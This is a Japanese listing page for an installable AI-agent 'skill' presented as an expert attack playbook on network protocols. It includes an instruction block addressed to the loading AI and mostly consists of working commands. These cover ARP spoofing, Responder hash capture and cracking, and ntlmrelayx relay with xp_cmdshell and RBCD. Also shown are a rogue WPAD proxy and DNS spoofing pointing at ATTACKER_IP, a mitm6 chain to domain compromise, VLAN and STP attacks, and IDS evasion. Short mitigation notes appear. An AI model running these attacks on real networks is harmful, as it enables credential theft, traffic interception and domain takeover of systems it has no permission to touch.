mcpField
N
network-protocol-attacks

network-protocol-attacks

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

network-protocol-attacks について

ネットワークプロトコル攻撃を扱うセキュリティスキルガイドです。LAN内の傍受、名前解決のポイズニング、VLANやIPv6への攻撃、IDS/IPS回避と対策を解説します。

主な機能

  1. 01ARPスプーフィングと中間者攻撃の準備
  2. 02LLMNR、NBT-NS、mDNSポイズニング
  3. 03WPAD悪用とDHCPv6攻撃
  4. 04VLANホッピング、STP、DNS攻撃
  5. 05IPv6攻撃とIDS/IPS回避

活用シーン

  1. 01許可されたネットワークテストの攻撃経路整理
  2. 02ポイズニングによる認証情報の取得と中継の分析
  3. 03スイッチング環境とIPv6設定のリスク評価
  4. 04ネットワーク攻撃の検知と緩和策の計画

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill network-protocol-attacks

インストール後、Claude Code で/network-protocol-attacksを入力して読み込まれたか確認します。

同梱ファイルNAME_RESOLUTION_POISONING.md

詳細

SKILL:ネットワークプロトコル攻撃 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:ネットワークプロトコルに対するエキスパート向け攻撃手法です。ARP スプーフィング、名前解決ポイズニング(LLMNR/NBT-NS/mDNS)、WPAD の悪用、DHCPv6 の乗っ取り、VLAN ホッピング、STP 操作、DNS スプーフィング、IPv6 攻撃、IDS/IPS の回避について説明します。基盤モデルでは、これらの攻撃を連鎖させる機会や、現代のスイッチドネットワークを悪用する際の細かなニュアンスが見落とされがちです。

0. 関連するルーティング

詳しく調べる前に、次の読み込みを検討してください。

高度なリファレンス

以下が必要な場合は、NAME_RESOLUTION_POISONING.md も読み込んでください。

  • Responder/mitm6 の詳細な設定とワークフロー
  • NTLM リレーのターゲット選定と攻撃の連鎖
  • 認証情報の形式分析とクラッキングの優先順位

1. ARP スプーフィング

Gratuitous ARP — MitM の位置確立
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
ターゲットの選択
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
検出の指標
  • ARP テーブル内の MAC アドレスの重複
  • ゲートウェイ以外の IP からの Gratuitous ARP ストーム
  • ツール:arpwatch、静的 ARP エントリー、802.1X ポート認証

2. LLMNR / NBT-NS / mDNS ポイズニング

Responder — 認証情報の取得
# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A
取得したハッシュの形式
プロトコルハッシュタイプHashcat モードクラッキングのしやすさ
NTLMv1NetNTLMv15500高速 — レインボーテーブルが有効
NTLMv2NetNTLMv25600中程度 — 辞書とルールを使用
NTLMv1-ESSNetNTLMv15500高速 — NTLMv1 と同じ
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
クラッキングではなくリレー
# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

3. WPAD の悪用

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture
手動での WPAD PAC ファイル
// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

4. DHCPv6 攻撃 — mitm6

IPv4 のみのネットワークでも、Windows クライアントはデフォルトで DHCPv6 要求を送信します。

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
主な条件
  • ターゲットで SMB 署名が無効(SMB リレーの場合)
  • DC で LDAP 署名が強制されていない(LDAP リレーの場合)
  • Domain Computers のクォータが 0 より大きい(マシンアカウント作成の場合。デフォルト:10)

5. VLAN ホッピング

スイッチのなりすまし(DTP)
# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
ダブルタギング(802.1Q)
# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)
緩和策
  • DTP を無効化する:switchport nonegotiate
  • 未使用の VLAN をネイティブ VLAN に設定する:switchport trunk native vlan 999
  • VLAN をプルーニングする:トランクポートで必要な VLAN のみを許可する

6. STP 操作

ルートブリッジの主張
# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM
トポロジ変更攻撃
# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic
緩和策
  • アクセスポートで BPDU Guard を有効にする
  • 指定ポートで Root Guard を有効にする
  • spanning-tree portfast bpduguard enable

7. DNS スプーフィング

DNS キャッシュポイズニング
# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
Kaminsky 攻撃の亜種

再帰リゾルバーに、ランダムなサブドメインへの偽造レスポンスを大量に送りつけます。各レスポンスには、NS レコードを攻撃者が制御するサーバーに向ける悪意のある権威セクションが含まれます。


8. IPv6 攻撃

Router Advertisement のスプーフィング
# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect
SLAAC の悪用
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

9. IDS/IPS の回避

手法方法ツール/フラグ
IP フラグメンテーションペイロードを複数のフラグメントに分割するnmap -f、fragroute
TTL 操作IDS で TTL が切れる一方、ターゲットには到達するよう設定するfragroute
エンコーディングによる回避URL/Unicode/16 進数エンコーディング手動、カスタムスクリプト
セッション分割TCP ペイロードを複数のセグメントに分割するfragroute、nmap --data-length
タイミングベースレートベースの検出を避けるため、スキャンを遅くするnmap -T0、nmap -T1
デコイスキャン実際のスキャンにデコイの送信元 IP を混ぜるnmap -D RND:10
アイドル/ゾンビスキャンアイドル状態のホストをスキャンプロキシとして使うnmap -sI ZOMBIE_IP
# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

10. 判断ツリー

Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│   ├── YES → ARP spoof for MitM (§1)
│   │   └── Capture plaintext creds or redirect traffic
│   └── NO → need VLAN hopping first (§5)
│       ├── DTP enabled? → switch spoofing
│       └── Know native VLAN? → double tagging
│
├── Windows environment?
│   ├── LLMNR/NBT-NS enabled? (default YES)
│   │   └── Run Responder (§2) → capture NetNTLM hashes
│   │       ├── NTLMv1? → crack fast or relay
│   │       └── NTLMv2? → relay (§2) or crack with rules
│   │
│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│   │
│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│       └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│   ├── MitM already established? → DNS spoofing (§7)
│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│   ├── BPDU Guard off? → STP root bridge claim (§6)
│   └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
    └── Apply evasion techniques (§9) — fragmentation, timing, encoding

コメント